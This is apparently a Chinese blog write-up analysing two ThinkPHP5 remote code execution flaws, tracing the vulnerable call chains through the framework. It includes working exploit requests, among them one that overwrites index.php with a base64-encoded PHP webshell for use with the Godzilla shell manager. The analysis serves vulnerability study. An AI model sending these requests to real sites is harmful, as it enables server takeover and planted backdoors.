对于tp5的两个rce漏洞的一些分析。
thinkphp-5-rce分析
ThinkPHP5 5.0.23 远程代码执行漏洞
ThinkPHP5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响范围
ThinkPHP 5.0.x:5.0.0 ~ 5.0.23
复现
RCE
1 | GET :/index.php?s=captcha |
GETSHELL
1 | GET :/index.php?s=captcha |
将一句话木马追加至index.php的最后一行。成功使用哥斯拉连接
分析
参考文章
框架漏洞]ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析_yaml-thinkphp5023-method-rce-CSDN博客
漏洞造成原因
这个漏洞关键点出在Request.php
如果$filter, $value和value都可控的话,就可以利用回调函数来进行rce。
逆向分析
我们看看有哪个地方调用了filterValue函数。
可以看到cookie函数和input函数中都存在该方法的调用。两个函数的点差不多,我们对input进行分析。
继续看input被谁调用了。
发现input函数被param函数调用了,并且可以看到input的data参数的值是由param的param赋予
1 | // 当前请求参数和URL地址中的参数合并 |
我们再找找谁调用了param函数。有多处调用地点,由于我是复现漏洞,直接调试找到了是哪个地方造成参数可控。其它调用分析就略过了。
直接看这个exec函数,位于thinkphp\library\think\App.php
这里的request可能存在可控参数,也是造成漏洞的原因。
最后我们再查看exec被谁调用了。发现是同文件的run函数调用了
继续看run函数。
这样我们发现已经到了start.php。再往前就是入口文件了。那么我们的逆向分析就到这里了。通过之前的分析我们可以知道,从入口文件到最后的漏洞点是存在利用链的,并且我们可以控制其中的一些参数。但是具体的利用过程还是没有很清晰。我们打上断点开始调试。
正向分析
先看入口文件,它包含了另一个文件。
1 | define('APP_PATH', __DIR__ . '/../application/'); |
我们跟进start.php
1 | namespace think; |
先跟进run函数
1 | public static function run(Request $request = null) |
由于这个漏洞出在url的处理上,我们主要看这个函数对url的处理
1 | Hook::listen('app_dispatch', self::$dispatch); |
看看$dispatch的具体值是什么
这里的$dispatch为空会进入routeCheck函数,我们继续跟入。
发现这里的result和request有联系。继续跟进。
发现857行处调用了request对象的method方法。
调试到method函数处。可以看到method默认是false,所以会执行else语句
并且在后面的$_POST[Config::get('var_method')]
,Config类的var_method的值就是_method。所以我们通过POST传入的_method
参数的值就可以进入$this->{$this->method}($_POST);
实现任意函数调用
我们的payload:
1 | GET: /index.php?s=captcha |
这样会调用__construct
方法。而在__construct方法中存在变量覆盖。这里的filter与get一开始是空值,我们传入需要的值。即system和whoami,并且要补充method=get保证method的值没有问题。
继续下一步,变量覆盖完成后可以看到filter与get数组的值就以及变成我们需要的值。
现在成功完成了对参数的控制。再看到我们之前逆向分析的过程,在exec函数打上断点继续调试。会进入method。至于为什么$dispatch[‘type’]的值是method后面详细解释。
之后进入param方法
通过array_merge
将当前请求参数和URL地址中的参数合并。
再接着进入get方法。现在的get方法返回给input方法值中的get由于前面的变量覆盖,值已经变了
这样input返回的data也就变成了我们想要执行的命令
之后进行一些处理后再次进入input方法
接着进入getFilter方法获取filter的值
此时filter和data的值:
对data进行判断,通过array_walk_recursive
为data数组中的元素调用filterValue
方法
至此,函数调用完成。
payload:
1 | GET: /index.php?s=captcha |
补充
poc2
另一个payload,也就是我复现时展示的
1 | GET :/index.php?s=captcha |
这个方法原理差不多,也是拿到input方法进行任意函数调用。在server函数内同样存在一个input方法的调用。
使得method方法中的method为true。进入server函数。传入server[REQUEST_METHOD]=whoami完成rce
为什么?s=captcha
前文中有提到exec函数中我们的$dispatch['type']的值是method
是由s=captcha
实现的
我们看看$dispatch的值时如何产生的
在app.php中有对应操作
查看routeCheck的返回值,发现这里返回的result由check方法决定
我们打下断点后继续调试
在这里又进入了cherkRoute,继续跟入
接下来再看checkRoute的返回值。checkRoute方法中
对rule数组进行遍历。
继续跟进
进入match函数。发现会将rule的元素拆分
继续看match函数,存在一个比较逻辑。
判断$val
和 $m1[$key]
是否不相等,若不相等,返回非0,也就是true。然后会 return false;所以我们get传参需要s=captcha。
之后会进入parseRule
最后拿到method
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响范围
ThinkPHP5.0.x:5.0.0 ~ 5.0.24
ThinkPHP5.1.x:5.1.0 ~ 5.1.31
复现
RCE
1 | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 |
GETSHELL
1 | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n PD9waHAgQGFzc2VydCgkX1BPU1RbJ2EnXSk7Pz4= | base64 -d > index.php |
分析
参考文章:
由于是同一大版本的tp。它的主要逻辑没啥区别。我们主要看到两个漏洞的分叉点。
它们都是index.php→startphp→app.php::run→self::routeCheck
进入routeCheck方法后就是差异所在了。
先调用path方法,对参数进行处理,处理过后path拿到控制方法相关数据即Index/\think\app/invokefunction,而get数组拿到剩下的函数调用相关数据。
我们继续往下,这次关键点不在$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
而是在parseurl方法上。由于result为false,所以会触发if语句。
我们继续跟进parseurl,此函数会解析变量$path。它先将path变量中的/替换为|
接着进入parseUrlPath方法。将path变量转化为数组。具体的值为
1 | Array |
我们再继续往下,会对控制器进行处理。这里的第二关if语句不成立,我们不用理会,主要查看下面的功能。
拿到控制器和操作方法之后,封装到route里面。
最后将返回值给到routeCheck方法
之后将result传给dispatch
这次dispatch的type值就是module而不是method了。这是由于没有传递s=captcha,导致之前分析的match函数匹配规则的时候就会返回false,然后一路返回false。最后调用parseUrl 函数拿到module。有兴趣的话可以自己调试试一下。
进入exec
之后就是module方法了,我们继续跟进
一直跟进到官方补丁位置。中间注释掉的正则就是官方的补丁。而$controller的值就是控制器名了。也就是result的第二个值
继续往下拿到操作名。
继续看module方法
这个if语句获取到了我们传入的操作方法与类名。也就是:
1 | ReflectionMethod Object |
再然后就是进入另一个方法了。
在invokeMethod方法中,通过调用bindParams来拿到get数组里剩余的值
最后就是通过invokeArgs来传递参数调用回调函数完成rce。data是执行的结果
具体执行细节就是通过反射,获取到call_user_func_array方法的反射对象,传参调用。可以通过这篇文章详细了解thinkphp5.0.23 invokefunction RCE漏洞 详细分析与复现 - FreeBuf网络安全行业门户
这里$reflect->invokeArgs方法参数是一个数组,而call_user_func_array第一个参数是函数名,第二个参数是一个数组,所以需要构造vars[0]=system,&vars[1][]=whoami
造成漏洞的原因是parseUrl函数只是简单的将变量中/变为|来分开,但是如果存在/时就会导致控制器变为think\app。这样会创建App对象,而App对象里有invokefunction方法,所以action设置为invokefunction,这样就可以执行任意方法。